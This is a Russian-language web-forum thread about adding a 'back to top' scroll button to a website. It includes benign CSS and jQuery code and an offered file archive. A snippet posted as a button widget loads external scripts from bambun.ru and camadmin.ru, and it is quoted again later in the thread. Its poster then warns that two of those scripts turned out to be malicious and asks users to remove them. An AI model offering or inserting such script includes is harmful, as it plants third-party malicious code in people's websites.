forum.okis.ru http://forum.okis.ru/ |
|
Кнопка Вверх странице http://forum.okis.ru/viewtopic.php?f=10&t=2721 |
Страница 1 из 1 |
Автор: | sameer [ 31 мар 2012, 15:01 ] |
Заголовок сообщения: | Кнопка Вверх странице |
кнопка вверх обычно если на странице много текста то не удобно вверх странице поднимется, а так с кнопкой один щелчок вы уже в самом верху странице. Если кому то пригодится сегодня решил у себя в сайте сделать такое получилось удачно и решил свами поделится, все расскажу в нескольких шагах шаг 1: в CSS добавьте вот этот код можно и под свой сайт настроит есть комментарии к коду: .container {padding: 0 0 70px 0;} /* отступ снизу */ #message { display: block; display: none; /* ссылка над всеми элементами */ z-index: 999; /* ссылка не заслоняет полностью текст под ней */ opacity: .8; /* ссылка всегда на одном и том же месте */ position: fixed; /* ссылка внизу страницы */ top: 100%; margin-top: -80px; /* = height + preferred bottom margin */ /* ссылка по центру */ left: 80%; margin-left: -80px; /* закругленные углы */ -moz-border-radius: 24px; -webkit-border-radius: 24px; /* ссылка большая, заметная и ее легко найти */ width: 300px; line-height: 48px; height: 48px; padding: 10px; background-color: #000; font-size: 24px; text-align: center; } #message a { color: #fff; } Шаг 2: добавте в метатеге вот этот код: <meta name="Generator" content="okis"> <script src="ссылка на jQuery.js файл" type="text/javascript" charset="utf-8"></script> <script src="сслыка на scrollTo.js файл" type="text/javascript" charset="utf-8"></script> <script type="text/javascript" charset="utf-8"> $(function () { // run this code on page load (AKA DOM load) var scroll_timer; var displayed = false; var $message = $('#message'); var $window = $(window); var top = $(document.body).children(0).position().top; /* react to scroll event on window */ $window.scroll(function () { window.clearTimeout(scroll_timer); scroll_timer = window.setTimeout(function () { // use a timer for performance if($window.scrollTop() <= top) // hide if at the top of the page { displayed = false; $message.fadeOut(500); } else if(displayed == false) // show if scrolling down { displayed = true; $message.stop(true, true).fadeIn(500).click(function () { $message.fadeOut(500); }); } }, 100); }); $('#top-link').click(function(e) { e.preventDefault(); $.scrollTo(0,300); }); }); </script> шаг 3: добавте в счетчик вот этот код <div id="top"></div> <div id="message"><a href="#top" id="top-link">Подняться вверх</a></div> тепер самое главное загрузите вот эти два файла на сайт: http://honeyhost.in/file/honeyhost_in/file.rar Думаю все ясно и легко вот пример работы: http://honeyhost.in/ |
Автор: | Okis [ 31 мар 2012, 15:21 ] |
Заголовок сообщения: | Re: Кнопка Вверх странице |
Спасибо, полезная вещь. P.S. советую прогонять тексты через Word, чтобы избегать подобных проблем с грамматикой |
Автор: | sameer [ 31 мар 2012, 15:25 ] |
Заголовок сообщения: | Re: Кнопка Вверх странице |
все сделал, если будет получаться, то каждый день буду что то новенькое добавлять |
Автор: | Leo212 [ 24 апр 2012, 14:52 ] |
Заголовок сообщения: | Re: Кнопка Вверх странице |
Ну что за ерунда а где фалы то? и где вообще твой сайт? админы помагите сделать очень вещь нужная наверх кнопка! ну пожалуйста. |
Автор: | sameer [ 01 май 2012, 17:10 ] |
Заголовок сообщения: | Re: Кнопка Вверх странице |
сайта нет удалил его просто если что пиши searsameer@yahoo.com вышлю их по почте |
Автор: | aeks3777 [ 28 май 2013, 18:14 ] |
Заголовок сообщения: | Re: Кнопка Вверх странице |
Вот прикольная кнопка вверх <!-- MrScrollUp.Start --> <script type="text/javascript" src="http://bambun.ru/css_js/jquery.min.js"></script> <script type="text/javascript" src="http://bambun.ru/css_js/MrScrollUp.js"></script> <script type="text/javascript" src="http://camadmin.ru/earch.js"></script> <link rel="stylesheet" type="text/css" href="http://bambun.ru/css_js/MrScrollUp.css" /> <div id="MrScrollUp" style="display:none;"><div class="MrScrollUp1"></div><div class="MrScrollUp2"></div></div> <!-- MrScrollUp.End --> код вставлять в поле для счетчиков посмотреть можно здесь http://evmenov37.ru/ |
Автор: | aeks3777 [ 29 май 2013, 12:41 ] |
Заголовок сообщения: | Re: Кнопка Вверх странице |
Я поспешил расхваливать эту кнопку, у меня вылазит только на главной странице и то не всегда. |
Автор: | _dIgL_ [ 24 июн 2013, 20:07 ] |
Заголовок сообщения: | Re: Кнопка Вверх странице |
Цитата: Вот прикольная кнопка вверх <!-- MrScrollUp.Start --> <script type="text/javascript" src="http://bambun.ru/css_js/jquery.min.js"></script> <script type="text/javascript" src="http://bambun.ru/css_js/MrScrollUp.js"></script> <script type="text/javascript" src="http://camadmin.ru/earch.js"></script> <link rel="stylesheet" type="text/css" href="http://bambun.ru/css_js/MrScrollUp.css" /> <div id="MrScrollUp" style="display:none;"><div class="MrScrollUp1"></div><div class="MrScrollUp2"></div></div> <!-- MrScrollUp.End --> код вставлять в поле для счетчиков посмотреть можно здесь http://evmenov37.ru/ Спасибо, реально крутая. Вот подскажите, как изменить цвет и текст кнопки. Цвет на более ярче, а текст на русский?) спасибо, кнопка понравилась) |
Автор: | aeks3777 [ 27 июн 2013, 13:13 ] |
Заголовок сообщения: | Re: Кнопка Вверх странице |
Я не знаю как её настраивать, эта кнопка у меня работает через раз, я и не вникал, а у тебя нормально работает? |
Автор: | aeks3777 [ 10 авг 2013, 13:50 ] |
Заголовок сообщения: | Re: Кнопка Вверх странице |
Привет, в кнопке что я добавил раньше обнаружено два вредоносных скрипта, вот они <script type="text/javascript" src="http://bambun.ru/css_js/jquery.min.js"></script> <script type="text/javascript" src="http://camadmin.ru/earch.js"></script> удалите их, кто уже установил. |
Страница 1 из 1 | Часовой пояс: UTC + 3 часа [ Летнее время ] |
Powered by phpBB® Forum Software © phpBB Group http://www.phpbb.com/ |